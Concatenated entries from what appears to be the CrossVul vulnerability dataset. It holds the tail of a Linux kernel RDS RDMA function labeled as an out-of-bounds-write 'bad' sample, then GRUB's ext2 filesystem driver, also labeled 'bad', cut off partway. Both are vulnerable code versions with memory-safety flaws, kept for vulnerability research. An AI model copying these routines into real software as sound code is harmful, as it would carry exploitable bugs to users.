sizeof(struct rds_iovec))) return -EFAULT; nr_pages = rds_pages_in_vec(&vec); if (nr_pages == 0) return -EINVAL; tot_pages += nr_pages; /* * nr_pages for one entry is limited to (UINT_MAX>>PAGE_SHIFT)+1, * so tot_pages cannot overflow without first going negative. */ if (tot_pages < 0) return -EINVAL; } return tot_pages * sizeof(struct scatterlist); } /* * The application asks for a RDMA transfer. * Extract all arguments and set up the rdma_op */ int rds_cmsg_rdma_args(struct rds_sock *rs, struct rds_message *rm, struct cmsghdr *cmsg) { struct rds_rdma_args *args; struct rm_rdma_op *op = &rm->rdma; int nr_pages; unsigned int nr_bytes; struct page **pages = NULL; struct rds_iovec iovstack[UIO_FASTIOV], *iovs = iovstack; int iov_size; unsigned int i, j; int ret = 0; if (cmsg->cmsg_len < CMSG_LEN(sizeof(struct rds_rdma_args)) || rm->rdma.op_active) return -EINVAL; args = CMSG_DATA(cmsg); if (rs->rs_bound_addr == 0) { ret = -ENOTCONN; /* XXX not a great errno */ goto out_ret; } if (args->nr_local > UIO_MAXIOV) { ret = -EMSGSIZE; goto out_ret; } /* Check whether to allocate the iovec area */ iov_size = args->nr_local * sizeof(struct rds_iovec); if (args->nr_local > UIO_FASTIOV) { iovs = sock_kmalloc(rds_rs_to_sk(rs), iov_size, GFP_KERNEL); if (!iovs) { ret = -ENOMEM; goto out_ret; } } if (copy_from_user(iovs, (struct rds_iovec __user *)(unsigned long) args->local_vec_addr, iov_size)) { ret = -EFAULT; goto out; } nr_pages = rds_rdma_pages(iovs, args->nr_local); if (nr_pages < 0) { ret = -EINVAL; goto out; } pages = kcalloc(nr_pages, sizeof(struct page *), GFP_KERNEL); if (!pages) { ret = -ENOMEM; goto out; } op->op_write = !!(args->flags & RDS_RDMA_READWRITE); op->op_fence = !!(args->flags & RDS_RDMA_FENCE); op->op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME); op->op_silent = !!(args->flags & RDS_RDMA_SILENT); op->op_active = 1; op->op_recverr = rs->rs_recverr; WARN_ON(!nr_pages); op->op_sg = rds_message_alloc_sgs(rm, nr_pages); if (!op->op_sg) { ret = -ENOMEM; goto out; } if (op->op_notify || op->op_recverr) { /* We allocate an uninitialized notifier here, because * we don't want to do that in the completion handler. We * would have to use GFP_ATOMIC there, and don't want to deal * with failed allocations. */ op->op_notifier = kmalloc(sizeof(struct rds_notifier), GFP_KERNEL); if (!op->op_notifier) { ret = -ENOMEM; goto out; } op->op_notifier->n_user_token = args->user_token; op->op_notifier->n_status = RDS_RDMA_SUCCESS; /* Enable rmda notification on data operation for composite * rds messages and make sure notification is enabled only * for the data operation which follows it so that application * gets notified only after full message gets delivered. */ if (rm->data.op_sg) { rm->rdma.op_notify = 0; rm->data.op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME); } } /* The cookie contains the R_Key of the remote memory region, and * optionally an offset into it. This is how we implement RDMA into * unaligned memory. * When setting up the RDMA, we need to add that offset to the * destination address (which is really an offset into the MR) * FIXME: We may want to move this into ib_rdma.c */ op->op_rkey = rds_rdma_cookie_key(args->cookie); op->op_remote_addr = args->remote_vec.addr + rds_rdma_cookie_offset(args->cookie); nr_bytes = 0; rdsdebug("RDS: rdma prepare nr_local %llu rva %llx rkey %x\n", (unsigned long long)args->nr_local, (unsigned long long)args->remote_vec.addr, op->op_rkey); for (i = 0; i < args->nr_local; i++) { struct rds_iovec *iov = &iovs[i]; /* don't need to check, rds_rdma_pages() verified nr will be +nonzero */ unsigned int nr = rds_pages_in_vec(iov); rs->rs_user_addr = iov->addr; rs->rs_user_bytes = iov->bytes; /* If it's a WRITE operation, we want to pin the pages for reading. * If it's a READ operation, we need to pin the pages for writing. */ ret = rds_pin_pages(iov->addr, nr, pages, !op->op_write); if (ret < 0) goto out; else ret = 0; rdsdebug("RDS: nr_bytes %u nr %u iov->bytes %llu iov->addr %llx\n", nr_bytes, nr, iov->bytes, iov->addr); nr_bytes += iov->bytes; for (j = 0; j < nr; j++) { unsigned int offset = iov->addr & ~PAGE_MASK; struct scatterlist *sg; sg = &op->op_sg[op->op_nents + j]; sg_set_page(sg, pages[j], min_t(unsigned int, iov->bytes, PAGE_SIZE - offset), offset); rdsdebug("RDS: sg->offset %x sg->len %x iov->addr %llx iov->bytes %llu\n", sg->offset, sg->length, iov->addr, iov->bytes); iov->addr += sg->length; iov->bytes -= sg->length; } op->op_nents += nr; } if (nr_bytes > args->remote_vec.bytes) { rdsdebug("RDS nr_bytes %u remote_bytes %u do not match\n", nr_bytes, (unsigned int) args->remote_vec.bytes); ret = -EINVAL; goto out; } op->op_bytes = nr_bytes; out: if (iovs != iovstack) sock_kfree_s(rds_rs_to_sk(rs), iovs, iov_size); kfree(pages); out_ret: if (ret) rds_rdma_free_op(op); else rds_stats_inc(s_send_rdma); return ret; } /* * The application wants us to pass an RDMA destination (aka MR) * to the remote */ int rds_cmsg_rdma_dest(struct rds_sock *rs, struct rds_message *rm, struct cmsghdr *cmsg) { unsigned long flags; struct rds_mr *mr; u32 r_key; int err = 0; if (cmsg->cmsg_len < CMSG_LEN(sizeof(rds_rdma_cookie_t)) || rm->m_rdma_cookie != 0) return -EINVAL; memcpy(&rm->m_rdma_cookie, CMSG_DATA(cmsg), sizeof(rm->m_rdma_cookie)); /* We are reusing a previously mapped MR here. Most likely, the * application has written to the buffer, so we need to explicitly * flush those writes to RAM. Otherwise the HCA may not see them * when doing a DMA from that buffer. */ r_key = rds_rdma_cookie_key(rm->m_rdma_cookie); spin_lock_irqsave(&rs->rs_rdma_lock, flags); mr = rds_mr_tree_walk(&rs->rs_rdma_keys, r_key, NULL); if (!mr) err = -EINVAL; /* invalid r_key */ else refcount_inc(&mr->r_refcount); spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); if (mr) { mr->r_trans->sync_mr(mr->r_trans_private, DMA_TO_DEVICE); rm->rdma.op_rdma_mr = mr; } return err; } /* * The application passes us an address range it wants to enable RDMA * to/from. We map the area, and save the <R_Key,offset> pair * in rm->m_rdma_cookie. This causes it to be sent along to the peer * in an extension header. */ int rds_cmsg_rdma_map(struct rds_sock *rs, struct rds_message *rm, struct cmsghdr *cmsg) { if (cmsg->cmsg_len < CMSG_LEN(sizeof(struct rds_get_mr_args)) || rm->m_rdma_cookie != 0) return -EINVAL; return __rds_rdma_map(rs, CMSG_DATA(cmsg), &rm->m_rdma_cookie, &rm->rdma.op_rdma_mr); } /* * Fill in rds_message for an atomic request. */ int rds_cmsg_atomic(struct rds_sock *rs, struct rds_message *rm, struct cmsghdr *cmsg) { struct page *page = NULL; struct rds_atomic_args *args; int ret = 0; if (cmsg->cmsg_len < CMSG_LEN(sizeof(struct rds_atomic_args)) || rm->atomic.op_active) return -EINVAL; args = CMSG_DATA(cmsg); /* Nonmasked & masked cmsg ops converted to masked hw ops */ switch (cmsg->cmsg_type) { case RDS_CMSG_ATOMIC_FADD: rm->atomic.op_type = RDS_ATOMIC_TYPE_FADD; rm->atomic.op_m_fadd.add = args->fadd.add; rm->atomic.op_m_fadd.nocarry_mask = 0; break; case RDS_CMSG_MASKED_ATOMIC_FADD: rm->atomic.op_type = RDS_ATOMIC_TYPE_FADD; rm->atomic.op_m_fadd.add = args->m_fadd.add; rm->atomic.op_m_fadd.nocarry_mask = args->m_fadd.nocarry_mask; break; case RDS_CMSG_ATOMIC_CSWP: rm->atomic.op_type = RDS_ATOMIC_TYPE_CSWP; rm->atomic.op_m_cswp.compare = args->cswp.compare; rm->atomic.op_m_cswp.swap = args->cswp.swap; rm->atomic.op_m_cswp.compare_mask = ~0; rm->atomic.op_m_cswp.swap_mask = ~0; break; case RDS_CMSG_MASKED_ATOMIC_CSWP: rm->atomic.op_type = RDS_ATOMIC_TYPE_CSWP; rm->atomic.op_m_cswp.compare = args->m_cswp.compare; rm->atomic.op_m_cswp.swap = args->m_cswp.swap; rm->atomic.op_m_cswp.compare_mask = args->m_cswp.compare_mask; rm->atomic.op_m_cswp.swap_mask = args->m_cswp.swap_mask; break; default: BUG(); /* should never happen */ } rm->atomic.op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME); rm->atomic.op_silent = !!(args->flags & RDS_RDMA_SILENT); rm->atomic.op_active = 1; rm->atomic.op_recverr = rs->rs_recverr; rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1); if (!rm->atomic.op_sg) { ret = -ENOMEM; goto err; } /* verify 8 byte-aligned */ if (args->local_addr & 0x7) { ret = -EFAULT; goto err; } ret = rds_pin_pages(args->local_addr, 1, &page, 1); if (ret != 1) goto err; ret = 0; sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr)); if (rm->atomic.op_notify || rm->atomic.op_recverr) { /* We allocate an uninitialized notifier here, because * we don't want to do that in the completion handler. We * would have to use GFP_ATOMIC there, and don't want to deal * with failed allocations. */ rm->atomic.op_notifier = kmalloc(sizeof(*rm->atomic.op_notifier), GFP_KERNEL); if (!rm->atomic.op_notifier) { ret = -ENOMEM; goto err; } rm->atomic.op_notifier->n_user_token = args->user_token; rm->atomic.op_notifier->n_status = RDS_RDMA_SUCCESS; } rm->atomic.op_rkey = rds_rdma_cookie_key(args->cookie); rm->atomic.op_remote_addr = args->remote_addr + rds_rdma_cookie_offset(args->cookie); return ret; err: if (page) put_page(page); kfree(rm->atomic.op_notifier); return ret; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_572_0
crossvul-cpp_data_bad_3411_2
/* ext2.c - Second Extended filesystem */ /* * GRUB -- GRand Unified Bootloader * Copyright (C) 2003,2004,2005,2007,2008,2009 Free Software Foundation, Inc. * * GRUB is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * GRUB is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GRUB. If not, see <http://www.gnu.org/licenses/>. */ /* Magic value used to identify an ext2 filesystem. */ #define EXT2_MAGIC 0xEF53 /* Amount of indirect blocks in an inode. */ #define INDIRECT_BLOCKS 12 /* Maximum length of a pathname. */ #define EXT2_PATH_MAX 4096 /* Maximum nesting of symlinks, used to prevent a loop. */ #define EXT2_MAX_SYMLINKCNT 8 /* The good old revision and the default inode size. */ #define EXT2_GOOD_OLD_REVISION 0 #define EXT2_GOOD_OLD_INODE_SIZE 128 /* Filetype used in directory entry. */ #define FILETYPE_UNKNOWN 0 #define FILETYPE_REG 1 #define FILETYPE_DIRECTORY 2 #define FILETYPE_SYMLINK 7 /* Filetype information as used in inodes. */ #define FILETYPE_INO_MASK 0170000 #define FILETYPE_INO_REG 0100000 #define FILETYPE_INO_DIRECTORY 0040000 #define FILETYPE_INO_SYMLINK 0120000 #include <grub/err.h> #include <grub/file.h> #include <grub/mm.h> #include <grub/misc.h> #include <grub/disk.h> #include <grub/dl.h> #include <grub/types.h> #include <grub/fshelp.h> /* Log2 size of ext2 block in 512 blocks. */ #define LOG2_EXT2_BLOCK_SIZE(data) \ (grub_le_to_cpu32 (data->sblock.log2_block_size) + 1) /* Log2 size of ext2 block in bytes. */ #define LOG2_BLOCK_SIZE(data) \ (grub_le_to_cpu32 (data->sblock.log2_block_size) + 10) /* The size of an ext2 block in bytes. */ #define EXT2_BLOCK_SIZE(data) (1 << LOG2_BLOCK_SIZE (data)) /* The revision level. */ #define EXT2_REVISION(data) grub_le_to_cpu32 (data->sblock.revision_level) /* The inode size. */ #define EXT2_INODE_SIZE(data) \ (EXT2_REVISION (data) == EXT2_GOOD_OLD_REVISION \ ? EXT2_GOOD_OLD_INODE_SIZE \ : grub_le_to_cpu16 (data->sblock.inode_size)) /* Superblock filesystem feature flags (RW compatible) * A filesystem with any of these enabled can be read and written by a driver * that does not understand them without causing metadata/data corruption. */ #define EXT2_FEATURE_COMPAT_DIR_PREALLOC 0x0001 #define EXT2_FEATURE_COMPAT_IMAGIC_INODES 0x0002 #define EXT3_FEATURE_COMPAT_HAS_JOURNAL 0x0004 #define EXT2_FEATURE_COMPAT_EXT_ATTR 0x0008 #define EXT2_FEATURE_COMPAT_RESIZE_INODE 0x0010 #define EXT2_FEATURE_COMPAT_DIR_INDEX 0x0020 /* Superblock filesystem feature flags (RO compatible) * A filesystem with any of these enabled can be safely read by a driver that * does not understand them, but should not be written to, usually because * additional metadata is required. */ #define EXT2_FEATURE_RO_COMPAT_SPARSE_SUPER 0x0001 #define EXT2_FEATURE_RO_COMPAT_LARGE_FILE 0x0002 #define EXT2_FEATURE_RO_COMPAT_BTREE_DIR 0x0004 #define EXT4_FEATURE_RO_COMPAT_GDT_CSUM 0x0010 #define EXT4_FEATURE_RO_COMPAT_DIR_NLINK 0x0020 #define EXT4_FEATURE_RO_COMPAT_EXTRA_ISIZE 0x0040 /* Superblock filesystem feature flags (back-incompatible) * A filesystem with any of these enabled should not be attempted to be read * by a driver that does not understand them, since they usually indicate * metadata format changes that might confuse the reader. */ #define EXT2_FEATURE_INCOMPAT_COMPRESSION 0x0001 #define EXT2_FEATURE_INCOMPAT_FILETYPE 0x0002 #define EXT3_FEATURE_INCOMPAT_RECOVER 0x0004 /* Needs recovery */ #define EXT3_FEATURE_INCOMPAT_JOURNAL_DEV 0x0008 /* Volume is journal device */ #define EXT2_FEATURE_INCOMPAT_META_BG 0x0010 #define EXT4_FEATURE_INCOMPAT_EXTENTS 0x0040 /* Extents used */ #define EXT4_FEATURE_INCOMPAT_64BIT 0x0080 #define EXT4_FEATURE_INCOMPAT_FLEX_BG 0x0200 /* The set of back-incompatible features this driver DOES support. Add (OR) * flags here as the related features are implemented into the driver. */ #define EXT2_DRIVER_SUPPORTED_INCOMPAT ( EXT2_FEATURE_INCOMPAT_FILETYPE \ | EXT4_FEATURE_INCOMPAT_EXTENTS \ | EXT4_FEATURE_INCOMPAT_FLEX_BG ) /* List of rationales for the ignored "incompatible" features: * needs_recovery: Not really back-incompatible - was added as such to forbid * ext2 drivers from mounting an ext3 volume with a dirty * journal because they will ignore the journal, but the next * ext3 driver to mount the volume will find the journal and * replay it, potentially corrupting the metadata written by * the ext2 drivers. Safe to ignore for this RO driver. */ #define EXT2_DRIVER_IGNORED_INCOMPAT ( EXT3_FEATURE_INCOMPAT_RECOVER ) #define EXT3_JOURNAL_MAGIC_NUMBER 0xc03b3998U #define EXT3_JOURNAL_DESCRIPTOR_BLOCK 1 #define EXT3_JOURNAL_COMMIT_BLOCK 2 #define EXT3_JOURNAL_SUPERBLOCK_V1 3 #define EXT3_JOURNAL_SUPERBLOCK_V2 4 #define EXT3_JOURNAL_REVOKE_BLOCK 5 #define EXT3_JOURNAL_FLAG_ESCAPE 1 #define EXT3_JOURNAL_FLAG_SAME_UUID 2 #define EXT3_JOURNAL_FLAG_DELETED 4 #define EXT3_JOURNAL_FLAG_LAST_TAG 8 #define EXT4_EXTENTS_FLAG 0x80000 /* The ext2 superblock. */ struct grub_ext2_sblock { grub_uint32_t total_inodes; grub_uint32_t total_blocks; grub_uint32_t reserved_blocks; grub_uint32_t free_blocks; grub_uint32_t free_inodes; grub_uint32_t first_data_block; grub_uint32_t log2_block_size; grub_uint32_t log2_fragment_size; grub_uint32_t blocks_per_group; grub_uint32_t fragments_per_group; grub_uint32_t inodes_per_group; grub_uint32_t mtime; grub_uint32_t utime; grub_uint16_t mnt_count; grub_uint16_t max_mnt_count; grub_uint16_t magic; grub_uint16_t fs_state; grub_uint16_t error_handling; grub_uint16_t minor_revision_level; grub_uint32_t lastcheck; grub_uint32_t checkinterval; grub_uint32_t creator_os; grub_uint32_t revision_level; grub_uint16_t uid_reserved; grub_uint16_t gid_reserved; grub_uint32_t first_inode; grub_uint16_t inode_size; grub_uint16_t block_group_number; grub_uint32_t feature_compatibility; grub_uint32_t feature_incompat; grub_uint32_t feature_ro_compat; grub_uint16_t uuid[8]; char volume_name[16]; char last_mounted_on[64]; grub_uint32_t compression_info; grub_uint8_t prealloc_blocks; grub_uint8_t prealloc_dir_blocks; grub_uint16_t reserved_gdt_blocks; grub_uint8_t journal_uuid[16]; grub_uint32_t journal_inum; grub_uint32_t journal_dev; grub_uint32_t last_orphan; grub_uint32_t hash_seed[4]; grub_uint8_t def_hash_version; grub_uint8_t jnl_backup_type; grub_uint16_t reserved_word_pad; grub_uint32_t default_mount_opts; grub_uint32_t first_meta_bg; grub_uint32_t mkfs_time; grub_uint32_t jnl_blocks[17]; }; /* The ext2 blockgroup. */ struct grub_ext2_block_group { grub_uint32_t block_id; grub_uint32_t inode_id; grub_uint32_t inode_table_id; grub_uint16_t free_blocks; grub_uint16_t free_inodes; grub_uint16_t used_dirs; grub_uint16_t pad; grub_uint32_t reserved[3]; }; /* The ext2 inode. */ struct grub_ext2_inode { grub_uint16_t mode; grub_uint16_t uid; grub_uint32_t size; grub_uint32_t atime; grub_uint32_t ctime; grub_uint32_t mtime; grub_uint32_t dtime; grub_uint16_t gid; grub_uint16_t nlinks; grub_uint32_t blockcnt; /* Blocks of 512 bytes!! */ grub_uint32_t flags; grub_uint32_t osd1; union { struct datablocks { grub_uint32_t dir_blocks[INDIRECT_BLOCKS]; grub_uint32_t indir_block; grub_uint32_t double_indir_block; grub_uint32_t triple_indir_block; } blocks; char symlink[60]; }; grub_uint32_t version; grub_uint32_t acl; grub_uint32_t dir_acl; grub_uint32_t fragment_addr; grub_uint32_t osd2[3]; }; /* The header of an ext2 directory entry. */ struct ext2_dirent { grub_uint32_t inode; grub_uint16_t direntlen; grub_uint8_t namelen; grub_uint8_t filetype; }; struct grub_ext3_journal_header { grub_uint32_t magic; grub_uint32_t block_type; grub_uint32_t sequence; }; struct grub_ext3_journal_revoke_header { struct grub_ext3_journal_header header; grub_uint32_t count; grub_uint32_t data[0]; }; struct grub_ext3_journal_block_tag { grub_uint32_t block; grub_uint32_t flags; }; struct grub_ext3_journal_sblock { struct grub_ext3_journal_header header; grub_uint32_t block_size; grub_uint32_t maxlen; grub_uint32_t first; grub_uint32_t sequence; grub_uint32_t start; }; #define EXT4_EXT_MAGIC 0xf30a struct grub_ext4_extent_header { grub_uint16_t magic; grub_uint16_t entries; grub_uint16_t max; grub_uint16_t depth; grub_uint32_t generation; }; struct grub_ext4_extent { grub_uint32_t block; grub_uint16_t len; grub_uint16_t start_hi; grub_uint32_t start; }; struct grub_ext4_extent_idx { grub_uint32_t block; grub_uint32_t leaf; grub_uint16_t leaf_hi; grub_uint16_t unused; }; struct grub_fshelp_node { struct grub_ext2_data *data; struct grub_ext2_inode inode; int ino; int inode_read; }; /* Information about a "mounted" ext2 filesystem. */ struct grub_ext2_data { struct grub_ext2_sblock sblock; grub_disk_t disk; struct grub_ext2_inode *inode; struct grub_fshelp_node diropen; }; static grub_dl_t my_mod; /* Read into BLKGRP the blockgroup descriptor of blockgroup GROUP of the mounted filesystem DATA. */ inline static grub_err_t grub_ext2_blockgroup (struct grub_ext2_data *data, int group, struct grub_ext2_block_group *blkgrp) { return grub_disk_read (data->disk, ((grub_le_to_cpu32 (data->sblock.first_data_block) + 1) << LOG2_EXT2_BLOCK_SIZE (data)), group * sizeof (struct grub_ext2_block_group), sizeof (struct grub_ext2_block_group), blkgrp); } static struct grub_ext4_extent_header * grub_ext4_find_leaf (struct grub_ext2_data *data, char *buf, struct grub_ext4_extent_header *ext_block, grub_uint32_t fileblock) { struct grub_ext4_extent_idx *index; while (1) { int i; grub_disk_addr_t block; index = (struct grub_ext4_extent_idx *) (ext_block + 1); if (grub_le_to_cpu16(ext_block->magic) != EXT4_EXT_MAGIC) return 0; if (ext_block->depth == 0) return ext_block; for (i = 0; i < grub_le_to_cpu16 (ext_block->entries); i++) { if (fileblock < grub_le_to_cpu32(index[i].block)) break; } if (--i < 0) return 0; block = grub_le_to_cpu16 (index[i].leaf_hi); block = (block << 32) + grub_le_to_cpu32 (index[i].leaf); if (grub_disk_read (data->disk, block << LOG2_EXT2_BLOCK_SIZE (data), 0, EXT2_BLOCK_SIZE(data), buf)) return 0; ext_block = (struct grub_ext4_extent_header *) buf; } } static grub_disk_addr_t grub_ext2_read_block (grub_fshelp_node_t node, grub_disk_addr_t fileblock) { struct grub_ext2_data *data = node->data; struct grub_ext2_inode *inode = &node->inode; int blknr = -1; unsigned int blksz = EXT2_BLOCK_SIZE (data); int log2_blksz = LOG2_EXT2_BLOCK_SIZE (data); if (grub_le_to_cpu32(inode->flags) & EXT4_EXTENTS_FLAG) { #ifndef _MSC_VER char buf[EXT2_BLOCK_SIZE (data)]; #else char * buf = grub_malloc (EXT2_BLOCK_SIZE(data)); #endif struct grub_ext4_extent_header *leaf; struct grub_ext4_extent *ext; int i; leaf = grub_ext4_find_leaf (data, buf, (struct grub_ext4_extent_header *) inode->blocks.dir_blocks, fileblock); if (! leaf) { grub_error (GRUB_ERR_BAD_FS, "invalid extent"); return -1; } ext = (struct grub_ext4_extent *) (leaf + 1); for (i = 0; i < grub_le_to_cpu16 (leaf->entries); i++) { if (fileblock < grub_le_to_cpu32 (ext[i].block)) break; } if (--i >= 0) { fileblock -= grub_le_to_cpu32 (ext[i].block); if (fileblock >= grub_le_to_cpu16 (ext[i].len)) return 0; else { grub_disk_addr_t start; start = grub_le_to_cpu16 (ext[i].start_hi); start = (start << 32) + grub_le_to_cpu32 (ext[i].start); return fileblock + start; } } else { grub_error (GRUB_ERR_BAD_FS, "something wrong with extent"); return -1; } } /* Direct blocks. */ if (fileblock < INDIRECT_BLOCKS) blknr = grub_le_to_cpu32 (inode->blocks.dir_blocks[fileblock]); /* Indirect. */ else if (fileblock < INDIRECT_BLOCKS + blksz / 4) { grub_uint32_t *indir; indir = grub_malloc (blksz); if (! indir) return grub_errno; if (grub_disk_read (data->disk, ((grub_disk_addr_t) grub_le_to_cpu32 (inode->blocks.indir_block)) << log2_blksz, 0, blksz, indir)) return grub_errno; blknr = grub_le_to_cpu32 (indir[fileblock - INDIRECT_BLOCKS]); grub_free (indir); } /* Double indirect. */ else if (fileblock < (grub_disk_addr_t)(INDIRECT_BLOCKS + blksz / 4) \ * (grub_disk_addr_t)(blksz / 4 + 1)) { unsigned int perblock = blksz / 4; unsigned int rblock = fileblock - (INDIRECT_BLOCKS + blksz / 4); grub_uint32_t *indir; indir = grub_malloc (blksz); if (! indir) return grub_errno; if (grub_disk_read (data->disk, ((grub_disk_addr_t) grub_le_to_cpu32 (inode->blocks.double_indir_block)) << log2_blksz, 0, blksz, indir)) return grub_errno; if (grub_disk_read (data->disk, ((grub_disk_addr_t) grub_le_to_cpu32 (indir[rblock / perblock])) << log2_blksz, 0, blksz, indir)) return grub_errno; blknr = grub_le_to_cpu32 (indir[rblock % perblock]); grub_free (indir); } /* triple indirect. */ else { grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET, "ext2fs doesn't support triple indirect blocks"); } return blknr; } /* Read LEN bytes from the file described by DATA starting with byte POS. Return the amount of read bytes in READ. */ static grub_ssize_t grub_ext2_read_file (grub_fshelp_node_t node, void (*read_hook) (grub_disk_addr_t sector, unsigned offset, unsigned length, void *closure), void *closure, int flags, int pos, grub_size_t len, char *buf) { return grub_fshelp_read_file (node->data->disk, node, read_hook, closure, flags, pos, len, buf, grub_ext2_read_block, node->inode.size, LOG2_EXT2_BLOCK_SIZE (node->data)); } /* Read the inode INO for the file described by DATA into INODE. */ static grub_err_t grub_ext2_read_inode (struct grub_ext2_data *data, int ino, struct grub_ext2_inode *inode) { struct grub_ext2_block_group blkgrp; struct grub_ext2_sblock *sblock = &data->sblock; int inodes_per_block; unsigned int blkno; unsigned int blkoff; /* It is easier to calculate if the first inode is 0. */ ino--; int div = grub_le_to_cpu32 (sblock->inodes_per_group); if (div < 1) { return grub_errno = GRUB_ERR_BAD_FS; } grub_ext2_blockgroup (data, ino / div, &blkgrp); if (grub_errno) return grub_errno; int inode_size = EXT2_INODE_SIZE (data); if (inode_size < 1) { return grub_errno = GRUB_ERR_BAD_FS; } inodes_per_block = EXT2_BLOCK_SIZE (data) / inode_size; if (inodes_per_block < 1) { return grub_errno = GRUB_ERR_BAD_FS; } blkno = (ino % grub_le_to_cpu32 (sblock->inodes_per_group)) / inodes_per_block; blkoff = (ino % grub_le_to_cpu32 (sblock->inodes_per_group)) % inodes_per_block; /* Read the inode. */ if (grub_disk_read (data->disk, ((grub_le_to_cpu32 (blkgrp.inode_table_id) + blkno) << LOG2_EXT2_BLOCK_SIZE (data)), EXT2_INODE_SIZE (data) * blkoff, sizeof (struct grub_ext2_inode), inode)) return grub_errno; return 0; } static struct grub_ext2_data * grub_ext2_mount (grub_disk_t disk) { struct grub_ext2_data *data; data = grub_malloc (sizeof (struct grub_ext2_data)); if (!data) return 0; /* Read the superblock. */ grub_disk_read (disk, 1 * 2, 0, sizeof (struct grub_ext2_sblock), &data->sblock); if (grub_errno) goto fail; /* Make sure this is an ext2 filesystem. */ if (grub_le_to_cpu16 (data->sblock.magic) != EXT2_MAGIC) { grub_error (GRUB_ERR_BAD_FS, "not an ext2 filesystem"); goto fail; } /* Check the FS doesn't have feature bits enabled that we don't support. */ if (grub_le_to_cpu32 (data->sblock.feature_incompat) & ~(EXT2_DRIVER_SUPPORTED_INCOMPAT | EXT2_DRIVER_IGNORED_INCOMPAT)) { grub_error (GRUB_ERR_BAD_FS, "filesystem has unsupported incompatible features"); goto fail; } data->disk = disk; data->diropen.data = data; data->diropen.ino = 2; data->diropen.inode_read = 1; data->inode = &data->diropen.inode; grub_ext2_read_inode (data, 2, data->inode); if (grub_errno) goto fail; return data; fail: if (grub_errno == GRUB_ERR_OUT_OF_RANGE) grub_error (GRUB_ERR_BAD_FS, "not an ext2 filesystem"); grub_free (data); return 0; } static char * grub_ext2_read_symlink (grub_fshelp_node_t node) { char *symlink; struct grub_fshelp_node *diro = node; if (! diro->inode_read) { grub_ext2_read_inode (diro->data, diro->ino, &diro->inode); if (grub_errno) return 0; } symlink = grub_malloc (grub_le_to_cpu32 (diro->inode.size) + 1); if (! symlink) return 0; /* If the filesize of the symlink is bigger than 60 the symlink is stored in a separate block, otherwise it is stored in the inode. */ if (grub_le_to_cpu32 (diro->inode.size) <= 60) grub_strncpy (symlink, diro->inode.symlink, grub_le_to_cpu32 (diro->inode.size)); else { grub_ext2_read_file (diro, 0, 0, 0, 0, grub_le_to_cpu32 (diro->inode.size), symlink); if (grub_errno) { grub_free (symlink); return 0; } } symlink[grub_le_to_cpu32 (diro->inode.size)] = '\0'; return symlink; } static int grub_ext2_iterate_dir (grub_fshelp_node_t dir, int (*hook) (const char *filename, enum grub_fshelp_filetype filetype, grub_fshelp_node_t node, void *closure), void *closure) { unsigned int fpos = 0; struct grub_fshelp_node *diro = (struct grub_fshelp_node *) dir; if (! diro->inode_read) { grub_ext2_read_inode (diro->data, diro->ino, &diro->inode); if (grub_errno) return 0; } /* Search the file. */ if (hook) while (fpos < grub_le_to_cpu32 (diro->inode.size)) { struct ext2_dirent dirent; grub_ext2_read_file (diro, NULL, NULL, 0, fpos, sizeof (dirent), (char *) &dirent); if (grub_errno) return 0; if (dirent.direntlen == 0) return 0; if (dirent.namelen != 0) { #ifndef _MSC_VER char filename[dirent.namelen + 1]; #else char * filename = grub_malloc (dirent.namelen + 1); #endif struct grub_fshelp_node *fdiro; enum grub_fshelp_filetype type = GRUB_FSHELP_UNKNOWN; grub_ext2_read_file (diro, 0, 0, 0, fpos + sizeof (struct ext2_dirent), dirent.namelen, filename); if (grub_errno) return 0; fdiro = grub_malloc (sizeof (struct grub_fshelp_node)); if (! fdiro) return 0; fdiro->data = diro->data; fdiro->ino = grub_le_to_cpu32 (dirent.inode); filename[dirent.namelen] = '\0'; if (dirent.filetype != FILETYPE_UNKNOWN) { fdiro->inode_read = 0; if (dirent.filetype == FILETYPE_DIRECTORY) type = GRUB_FSHELP_DIR; else if (dirent.filetype == FILETYPE_SYMLINK) type = GRUB_FSHELP_SYMLINK; else if (dirent.filetype == FILETYPE_REG) type = GRUB_FSHELP_REG; } else { /* The filetype can not be read from the dirent, read the inode to get more information. */ grub_ext2_read_inode (diro->data, grub_le_to_cpu32 (dirent.inode), &fdiro->inode); if (grub_errno) { grub_free (fdiro); return 0; } fdiro->inode_read = 1; if ((grub_le_to_cpu16 (fdiro->inode.mode) & FILETYPE_INO_MASK) == FILETYPE_INO_DIRECTORY) type = GRUB_FSHELP_DIR; else if ((grub_le_to_cpu16 (fdiro->inode.mode) & FILETYPE_INO_MASK) == FILETYPE_INO_SYMLINK) type = GRUB_FSHELP_SYMLINK; else if ((grub_le_to_cpu16 (fdiro->inode.mode) & FILETYPE_INO_MASK) == FILETYPE_INO_REG) type = GRUB_FSHELP_REG; } if (hook (filename, type, fdiro, closure)) return 1; } fpos += grub_le_to_cpu16 (dirent.direntlen); } return 0; } /* Open a file named NAME and initialize FILE. */ static grub_err_t grub_ext2_open (struct grub_file *file, const char *name) { struct grub_ext2_data *data; struct grub_fshelp_node *fdiro = 0; grub_dl_ref (my_mod); data = grub_ext2_mount (file->device->disk); if (! data) goto fail; grub_fshelp_find_file (name, &data->diropen, &fdiro, grub_ext2_iterate_dir, 0, grub_ext2_read_symlink, GRUB_FSHELP_REG); if (grub_errno) goto fail; if (! fdiro->inode_read) { grub_ext2_read_inode (data, fdiro->ino, &fdiro->inode); if (grub_errno) goto fail; } grub_memcpy (data->inode, &fdiro->inode, sizeof (struct grub_ext2_inode)); grub_free (fdiro); file->size = grub_le_to_cpu32 (data->inode->size); file->data = data; file->offset = 0; return 0; fail: if (fdiro != &data->diropen) grub_free (fdiro); grub_free (data); grub_dl_unref (my_mod); return grub_errno; } static grub_err_t grub_ext2_close (grub_file_t file) { grub_free (file->data); grub_dl_unref (my_mod); return GRUB_ERR_NONE; } /* Read LEN bytes data from 